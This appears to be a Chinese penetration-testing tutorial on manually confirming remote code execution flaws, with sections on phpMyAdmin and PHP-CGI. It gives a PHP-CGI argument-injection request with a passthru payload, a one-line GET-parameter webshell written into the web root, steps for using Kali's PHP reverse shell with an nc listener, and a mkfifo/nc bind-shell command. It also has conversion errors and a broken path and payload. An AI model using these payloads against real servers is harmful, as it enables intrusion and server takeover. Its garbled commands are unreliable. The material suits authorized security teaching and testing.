手動漏洞挖掘
即掃描後,如何對發現的漏洞告警進行驗證。
#預設安裝
流傳linux作業系統比windows系統安全的說法,是因為windows系統預設安裝後,會開放很多服務和無用的端口,而且未經過嚴格安全性的配置,經常有系統服務以最高權限運作。
漏洞類型--遠端指令執行
1、phpMyadmin
安裝在web伺服器中的web接口,專門用來管理MySQL資料庫。對于早期版本,安裝後若是沒有做安全配置,對敏感路徑進行删除,則有可能留下安全隐患,其中最明顯的為setup。
a.探索PHP網站(可根據banner等資訊判斷)的phpmyadmin目錄是否可以通路(掃描工具/手動爬網)
###有賬号密碼限制,可嘗試爆破###

b.嘗試../phpMyAdmin/setup目錄是否可以通路【可以不需要身份認證的情況下,對伺服器進行配置】
###安全最佳實踐角度:不允許從公網通路phpMyAdmin目錄或禁用通路setup目錄
c.早期的phpmyadmin有漏洞【可通過在URL位址編輯或者定制發送的指令,使其執行一個PHP頁面】
例如:
POST http://192.168.20.10/phpMyAdmin/-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://input HTTP/1.1 #修改伺服器中的php.ini檔案
Host: 192.168.20.10
passthru('id');
die(); #後面的指令不執行,可屏蔽伺服器傳回的html代碼等雜資訊
?>
#編輯一條配置指令來修改php.ini檔案,可編寫任何功能的PHP頁面【可調用系統功能,passthru()】
#可能運作web伺服器程序的使用者賬号會被限制為www-data之類的普通使用者賬号,則需經過提權,才能完全控制伺服器
Burpsuite重放
#已獲得www-data使用者權限,可進行ls、cat等操作【pwd:檢視目前路徑;catetc/password:檢視使用者賬号】
#搜尋PHP檔案中是否用寫死的賬号密碼
#嘗試寫入網頁木馬,控制伺服器
注:此漏洞有可能不被掃描器掃出來,可自己手工驗證
d.網頁木馬
kali軍火庫中可以找到現成的網頁木馬
靜态木馬webshell,通過浏覽器去通路
例如:echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php【最簡單的木馬】
“\”防止在上傳過程中,變量被過濾
在浏覽器中執行指令【注:無法直接通路3.php目錄,需加問号再執行】
反彈shell【送出一個請求(包含一個反彈shell)】
#賬号一般還是會是普通使用者【kali中有各種類型的shell】
[email protected]:/usr/share/webshells# ls
asp aspx cfm jsp perl php
[email protected]:/usr/share/webshells# cd php
[email protected]:/usr/share/webshells/php# ls
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
[email protected]:/usr/share/webshells/php# cp php-reverse-shell.php /root/3.php
[email protected]:/usr/share/webshells/php##修改shell中反彈連接配接的IP
#使用nc偵聽反彈端口1234【nc終端無法使用tab鍵】
#将shell代碼複制粘貼進POST,go發送【此方法相對隐蔽,不易發現】
############################################################################
當一些指令如ifconfig無法使用時
#################################################################################
2、CGI子產品【Ubuntu / Debian 預設安裝PHP5-CGI】
#可直接通路/cgi-bin/php5和/cgi-bin/php(這兩個目錄大部分無法爬取)#因為其不在/var/www目錄下
#定制編碼shellcode
#使伺服器打開一個端口,然後再使用nc去連接配接獲得shell
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>
#若有防火牆,需确定防火牆允許通過